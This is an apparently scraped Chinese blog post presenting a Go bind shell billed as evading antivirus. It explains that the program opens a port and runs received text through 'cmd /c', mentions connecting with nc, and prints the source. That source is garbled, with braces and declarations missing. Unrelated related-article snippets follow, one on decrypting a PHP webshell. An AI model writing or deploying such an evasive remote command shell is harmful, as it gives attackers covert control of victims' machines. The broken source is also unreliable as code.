GO語言寫的一款免殺反向shell

2022-05-10 08:22:27 字數 1111 閱讀 2097

概述:

go語言是谷歌2009發布的第二款開源程式語言。

go語言專門針對多處理器系統應用程式的程式設計進行了優化,使用go編譯的程式可以媲美c或c++**的速度,而且更加安全、支援並行程序。

程式介紹,該程式思路非常容易理解,就是使用了golang中的exec包還有網路服務net支援包,開放了埠,使用者一旦連線並且傳送資料將會被當作命令執行,之後再返回給所連線的使用者。

1.我們可以在遠端伺服器下測試一下這個shell,不過這個程式需要更改一下shell引數,因為在windows中是cmd /c [命令]來呼叫shell,而linux中是 sh -c [命令] 來呼叫shell,由於系統版本不同,可以自行更改原始碼。

這時可以看到,程式已經執行了,我們可以使用windows中的nc進行連線了。

2.nc是一款非常強大的工具,使用golang其實也可以做一款類似nc的工具,在windows中也有telnet,但是telnet是屬於單位元組符輸入,沒有遠端適配printf是無法進行資料處理連發的,只能處理成位元組符連續傳送。

這時可以看到已經連線成功了,可以執行命令。

下面是該golang防毒軟體測試的截圖,**於 世界防毒網

下面是原始碼,我就不一一注釋了。

package main

import (

"net"

"os/exec"

)func getexec(conn net.conn)

cmd, err := exec.command("cmd", "/c", string(buf[:n])).output() //開始執行

if err != nil

conn.write(byte(string(cmd))) //返回執行結果 }}

func main()

defer listen.close()

for

go getexec(conn) //新建副協程協程

}}

一款免殺php大馬的解密與去後門

然後把東西移動到虛擬機器裡面的php環境中,開啟一看,有加密,用的函式是 先用這個函式base64 decode 然後用這個函式gzuncompress 加密,好的是密文就一塊啊,然後把這一塊全部剪下 重新寫個php檔案 就這個簡單,吼吼 源 一覽無餘啊!看到源 後 ctrl f找這個 http 發...

打造一款屬於自己的go語言socket框架

socket是應用層與tcp ip協議族通訊的中間軟體抽象層,它是一組介面。其實說白了,socket就是系統提供的一組介面,來用於網路程式設計,既可以tcp也可以用於udp。func listening for go connhandle conn func connhandle conn net....

jquery css寫的一款簡單的tabs滑動特效

最終實現的效果,都是採用css來實現美化介面的,現在想到的就是都是吧資料都展示出來,其他隱藏。滑動的時候到 就顯示對應欄目的內容,但是最近看到火狐的首頁,有很多選單項,不知道是不是也是全部顯示到頁面上了,然後其他內容隱藏,滑動時,在對應顯示內容,如下 如果有答案的希望分享下,是怎麼處理這種的。那接下...